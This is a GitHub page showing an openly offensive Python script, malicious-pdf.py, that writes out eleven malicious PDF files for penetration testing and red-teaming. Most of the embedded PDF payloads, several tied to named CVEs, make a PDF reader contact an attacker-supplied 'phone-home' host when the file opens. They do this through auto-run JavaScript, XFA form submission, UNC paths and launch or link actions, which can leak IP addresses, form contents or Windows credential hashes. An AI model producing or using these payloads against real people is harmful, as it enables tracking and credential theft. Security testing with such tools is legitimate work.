-
Notifications
You must be signed in to change notification settings - Fork 367
/
malicious-pdf.py
executable file
路635 lines (573 loc) 路 16.2 KB
/
malicious-pdf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
#!/usr/bin/python
# -*- coding: UTF-8 -*-
##
## Create different types of malicious PDF files. Used for penetration testing and/or red-teaming etc
##
## Usage ./malicious-pdf.py burp-collaborator-url
##
## Output will be written as: test1.pdf, test2.pdf, test3.pdf and test4.pdf
##
## Based on https://github.com/modzero/mod0BurpUploadScanner/ and https://github.com/deepzec/Bad-Pdf
##
## Jonas Lejon, 2023 <jonas.github@triop.se>
## https://github.com/jonaslejon/malicious-pdf
import sys
if sys.version_info[0] < 3:
raise SystemExit("Use Python 3 (or higher) only")
import io
import bz2
import base64
# Eicar test file embedded in PDF. Source: https://github.com/fire1ce/eicar-standard-antivirus-test-files
# Created by Stas Yakobov
def create_malpdf11(filename):
eicar = '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'
with open(filename, "wb") as file:
file.write(bz2.decompress(base64.b64decode(eicar)))
# Foxit PDF Reader PoC, macOS version "patch gap" : CVE-2017-10951
# Source: https://twitter.com/l33d0hyun/status/1448342241647366152
# This sample contains no phone-home
def create_malpdf10(filename):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
this.getURL("file:///System/Applications/Calculator.app")
)>> trailer <</Root 1 0 R>>''')
## Testcase from 01-testsuite/02-disclosure/01-url-invocation/data-link.pdf
## https://github.com/RUB-NDS/PDF101 "Portable Document Flaws 101" at Black Hat USA 2020
def create_malpdf9(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
/AcroForm << /Fields [<< /Type /Annot /Subtype /Widget /FT /Tx /T (a) /V (b) /Ff 0 >>] >>
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Annots [<< /Type /Annot
/Subtype /Link
/Open true
/A 5 0 R
/H /N
/Rect [0 0 595 842]
>>]
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'data' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /ImportData
/F << /Type /FileSpec /F ('''+host+'''/test9.pdf) /V true /FS /URL >>
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000164 00000 n
0000000265 00000 n
0000000724 00000 n
0000000844 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
997
%%EOF
''')
## Testcase from ./02-exploits/15-masterpdf-editor/02-disclosure-01-url-invocation.pdf
## https://github.com/RUB-NDS/PDF101 "Portable Document Flaws 101" at Black Hat USA 2020
def create_malpdf8(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
/OpenAction 5 0 R
/AcroForm << /Fields [<< /Type /Annot /Subtype /Widget /FT /Tx /T (a) /V (b) /Ff 0 >>] >>
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'form' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /SubmitForm
/F << /Type /FileSpec /F ('''+host+'''/test8.pdf) /V true /FS /URL >>
/Flags 4 % SubmitHTML
% /Flags 32 % SubmitXFDF
% /Flags 256 % SubmitPDF
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000187 00000 n
0000000288 00000 n
0000000553 00000 n
0000000673 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
908
%%EOF
''')
## Testcase from ./02-exploits/25-firefox-browser/02-disclosure-01-url-invocation-dns-prefetch3.pdf
## https://github.com/RUB-NDS/PDF101 "Portable Document Flaws 101" at Black Hat USA 2020
def create_malpdf7(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Annots [<< /Type /Annot
/Subtype /Link
/Open true
/A 5 0 R
/H /N
/Rect [0 0 595 842]
>>]
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'gotor' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /GoToR
/F << /Type /FileSpec /F ('''+host+'''/test7.pdf) /V true /FS /URL >>
/NewWindow false
/D [0 /Fit]
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000069 00000 n
0000000170 00000 n
0000000629 00000 n
0000000749 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
937
%%EOF
''')
## Testcase from ./02-exploits/25-firefox-browser/02-disclosure-01-url-invocation-dns-prefetch2.pdf
## https://github.com/RUB-NDS/PDF101 "Portable Document Flaws 101" at Black Hat USA 2020
def create_malpdf6(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Annots [<< /Type /Annot
/Subtype /Link
/Open true
/A 5 0 R
/H /N
/Rect [0 0 595 842]
>>]
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'launch' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /Launch
/F << /Type /FileSpec /F (''' + host + '''/test6.pdf) /V true /FS /URL >>
/NewWindow false
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000069 00000 n
0000000170 00000 n
0000000629 00000 n
0000000749 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
922
%%EOF
''')
## Testcase from ./02-exploits/25-firefox-browser/02-disclosure-01-url-invocation-dns-prefetch.pdf
## https://github.com/RUB-NDS/PDF101 "Portable Document Flaws 101" at Black Hat USA 2020
def create_malpdf5(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Annots [<< /Type /Annot
/Subtype /Link
/Open true
/A 5 0 R
/H /N
/Rect [0 0 595 842]
>>]
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'uri' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /URI
/URI (''' + host + '''/test5)
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000069 00000 n
0000000170 00000 n
0000000629 00000 n
0000000749 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
854
%%EOF
''')
#a pdf file where javascript code is evaluated for execution
# % BSD Licence, Ange Albertini, 2011
def create_malpdf3(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.4
1 0 obj
<<>>
%endobj
trailer
<<
/Root
<</Pages <<>>
/OpenAction
<<
/S/JavaScript
/JS(
eval(
'app.openDoc({cPath: encodeURI("''' + host +'''"), cFS: "CHTTP" });'
);
)
>>
>>
>>''')
def create_malpdf2(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="docReady" ref="$host" name="event__click">
<submit
textEncoding="UTF-16"
xdpContent="pdf datasets xfdf"
target="''' + host + '''"/>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>''')
# Adobe Reader - PDF callback via XSLT stylesheet in XFA
# CVE-2019-7089
# From: https://insert-script.blogspot.com/2019/01/adobe-reader-pdf-callback-via-xslt.html
def create_malpdf4(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-
1 0 obj <<>>
stream
<?xml version="1.0" ?>
<?xml-stylesheet href="\\\\''' + host + '''\whatever.xslt" type="text/xsl" ?>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
''')
# This is CVE-2018-4993
# From https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py
def create_malpdf(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Kids[3 0 R]/Count 1>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>
endobj
xref
0 4
0000000000 65535 f
0000000015 00000 n
0000000060 00000 n
0000000111 00000 n
trailer
<</Size 4/Root 1 0 R>>
startxref
190
3 0 obj
<< /Type /Page
/Contents 4 0 R
/AA <<
/O <<
/F (''' + host + ''')
/D [ 0 /Fit]
/S /GoToE
>>
>>
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Helvetica
>>
>>
>>
>>
endobj
4 0 obj<< /Length 100>>
stream
BT
/TI_0 1 Tf
14 0 0 14 10.000 753.976 Tm
0.0 0.0 0.0 rg
(PDF Document) Tj
ET
endstream
endobj
trailer
<<
/Root 1 0 R
>>
%%EOF
''')
if __name__ == "__main__":
try:
host = sys.argv[1]
except IndexError as e:
print("Usage: {} phone-home-url".format(sys.argv[0]))
sys.exit(1)
# Remove http and https prefix from url
host = host.replace("http://", "").replace("https://", "")
print("[+] Creating PDF files..")
create_malpdf("test1.pdf", '\\\\' + '\\\\' + host + '\\\\' )
create_malpdf("test1bis.pdf", 'https://' + host)
create_malpdf2("test2.pdf", 'https://' + host)
create_malpdf3("test3.pdf", 'https://' + host)
create_malpdf4("test4.pdf", host)
create_malpdf5("test5.pdf", 'https://' + host)
create_malpdf6("test6.pdf", 'https://' + host)
create_malpdf7("test7.pdf", 'https://' + host)
create_malpdf8("test8.pdf", 'https://' + host)
create_malpdf9("test9.pdf", 'https://' + host)
create_malpdf10("test10.pdf")
create_malpdf11("test11.pdf")
print("[-] Done!")